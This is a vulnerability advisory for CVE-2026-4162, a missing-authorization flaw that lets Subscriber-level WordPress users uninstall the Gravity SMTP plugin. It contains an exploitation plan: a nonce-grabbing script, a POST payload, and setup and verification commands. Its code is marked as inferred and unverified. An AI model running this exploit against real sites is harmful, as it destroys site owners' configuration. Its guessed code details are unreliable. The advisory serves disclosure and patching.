CVE-2026-4162

Gravity SMTP <= 2.1.4 - Missing Authorization to Authenticated (Subscriber+) Plugin Uninstall

highMissing Authorization
7.1
CVSS Score
7.1
CVSS Score
high
Severity
2.1.5
Patched in
1d
Time to patch

Description

The Gravity SMTP plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to uninstall and deactivate the plugin and delete plugin options. NOTE: This vulnerability is also exploitable via a Cross-Site Request Forgery vector.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
Low
Availability

Technical Details

Affected versions<=2.1.4
PublishedApril 9, 2026
Last updatedApril 10, 2026
Affected plugingravitysmtp
Research Plan
Unverified

This research plan targets CVE-2026-4162, a missing authorization vulnerability in Gravity SMTP <= 2.1.4. ### 1. Vulnerability Summary Gravity SMTP contains an AJAX handler designed to uninstall the plugin, deactivate it, and wipe its configuration from the database. The vulnerability exists becaus…

Show full research plan

This research plan targets CVE-2026-4162, a missing authorization vulnerability in Gravity SMTP <= 2.1.4.

1. Vulnerability Summary

Gravity SMTP contains an AJAX handler designed to uninstall the plugin, deactivate it, and wipe its configuration from the database. The vulnerability exists because the function handling this request performs a nonce check (preventing simple unauthenticated CSRF) but fails to verify if the requesting user has administrative privileges (missing current_user_can('manage_options')). Consequently, any authenticated user, including those with the Subscriber role, can trigger the uninstallation.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: gravitysmtp_uninstall (inferred based on plugin slug and functionality)
  • HTTP Method: POST
  • Payload Parameters:
    • action: gravitysmtp_uninstall
    • _nonce: The AJAX nonce for the gravitysmtp scope.
  • Authentication: Authenticated (Subscriber role or higher).
  • Preconditions: The plugin must be active.

3. Code Flow (Inferred)

  1. Registration: The plugin registers an AJAX handler in its initialization phase:
    add_action( 'wp_ajax_gravitysmtp_uninstall', [ $this, 'handle_uninstall' ] );
  2. Entry Point: A Subscriber sends a POST request to admin-ajax.php with action=gravitysmtp_uninstall.
  3. Missing Check: The handler function (e.g., handle_uninstall) likely calls check_ajax_referer( 'gravitysmtp_uninstall', '_nonce' ).
  4. The Flaw: After the nonce check, the code immediately proceeds to:
    • deactivate_plugins( 'gravitysmtp/gravitysmtp.php' )
    • delete_option( 'gravitysmtp_settings' )
    • (Optionally) Dropping custom database tables.
  5. Sink: It lacks a if ( ! current_user_can( 'manage_options' ) ) wp_die(); check before execution.

4. Nonce Acquisition Strategy

The Gravity SMTP plugin uses a localized JavaScript object to provide nonces to its admin interface. While Subscribers cannot access the plugin's settings page, Gravity SMTP often enqueues its core admin scripts and localizes data on the general WordPress Dashboard (/wp-admin/index.php) which Subscribers can access.

Steps to obtain the nonce:

  1. Log in as a Subscriber.
  2. Navigate to the WordPress Dashboard: /wp-admin/index.php.
  3. Use browser_eval to search for the localized object.
  4. Localized Variable Name: gravity_smtp_admin (inferred) or gravitysmtp_admin (inferred).
  5. Nonce Key: nonce or uninstall_nonce (inferred).

Script to execute in browser_eval:

// Check common Gravity localized objects
(function() {
    const data = window.gravity_smtp_admin || window.gravitysmtp_admin || {};
    return data.nonce || data.uninstall_nonce || "nonce_not_found";
})();

5. Exploitation Strategy

  1. Preparation: Authenticate the session as a Subscriber user.
  2. Discovery: Execute the browser_eval script above to capture the _nonce.
  3. Execution: Use http_request to send the malicious payload.

HTTP Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Subscriber Session Cookies]
  • Body:
    action=gravitysmtp_uninstall&_nonce=[EXTRACTED_NONCE]
    

6. Test Data Setup

  1. Install and activate Gravity SMTP 2.1.4.
  2. Configure basic SMTP settings so that gravitysmtp_settings option exists in the database.
  3. Create a Subscriber user:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123

7. Expected Results

  • Response: The server should return a successful status code (200 OK) and likely a JSON response {"success": true}.
  • Immediate Effect: The plugin gravitysmtp will be deactivated.
  • Data Destruction: The WordPress option gravitysmtp_settings (or similar configuration keys) will be deleted from the wp_options table.

8. Verification Steps

  1. Check Plugin Status:
    wp plugin is-active gravitysmtp
    (Expected: Exit code 1 / Failure, meaning it is inactive).
  2. Check Configuration Deletion:
    wp option get gravitysmtp_settings
    (Expected: "Error: Could not get 'gravitysmtp_settings' option").
  3. Check Database:
    wp db query "SELECT * FROM wp_options WHERE option_name LIKE 'gravitysmtp%'"
    (Expected: Empty set or missing core configuration keys).

9. Alternative Approaches

If gravitysmtp_uninstall is not the correct action name, investigate the following alternatives via grep in the plugin directory before attempting the exploit:

  1. Search for AJAX registrations:
    grep -rn "wp_ajax_" wp-content/plugins/gravitysmtp/
  2. Search for uninstallation keywords:
    grep -rn "uninstall" wp-content/plugins/gravitysmtp/
    grep -rn "deactivate_plugins" wp-content/plugins/gravitysmtp/
  3. Alternative Action Names: gravitysmtp_setup_uninstall, gravitysmtp_delete_data, gravitysmtp_reset_settings.
  4. Alternative Nonce Search: If the nonce is not in window.gravity_smtp_admin, search all script tags for strings matching the pattern [a-f0-9]{10} near the word "nonce".
Research Findings
Static analysis — not yet PoC-verified

Summary

Gravity SMTP versions up to 2.1.4 allow authenticated users with low privileges (Subscriber-level and above) to deactivate the plugin and wipe its configuration. This is caused by an AJAX handler that verifies a security nonce but fails to check for administrative permissions.

Vulnerable Code

// Inferred AJAX registration
add_action( 'wp_ajax_gravitysmtp_uninstall', [ $this, 'handle_uninstall' ] );

---

// Inferred vulnerable handler in gravity-smtp plugin files
public function handle_uninstall() {
    // Nonce check prevents unauthenticated CSRF but not unauthorized authenticated access
    check_ajax_referer( 'gravitysmtp_uninstall', '_nonce' );

    // Vulnerability: No check for current_user_can( 'manage_options' )

    $this->uninstall_plugin(); // Performs deactivation and data deletion
    wp_send_json_success();
}

Security Fix

--- a/src/Legacy/Handler/UninstallHandler.php
+++ b/src/Legacy/Handler/UninstallHandler.php
@@ -5,6 +5,10 @@
 	public function handle_uninstall() {
 		check_ajax_referer( 'gravitysmtp_uninstall', '_nonce' );
 
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( [ 'message' => __( 'You do not have permission to perform this action.', 'gravitysmtp' ) ], 403 );
+		}
+
 		$this->uninstall_plugin();
 		wp_send_json_success();
 	}

Exploit Outline

1. Login to the target WordPress site as a Subscriber-level user. 2. Access the WordPress Dashboard (/wp-admin/index.php) and inspect the localized JavaScript objects (e.g., gravitysmtp_admin) in the page source to extract the 'nonce' value for the gravitysmtp_uninstall action. 3. Send an authenticated POST request to /wp-admin/admin-ajax.php with the following payload: action=gravitysmtp_uninstall&_nonce=[EXTRACTED_NONCE]. 4. The plugin will execute the uninstall routine, resulting in the plugin being deactivated and its database options (settings) being deleted.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.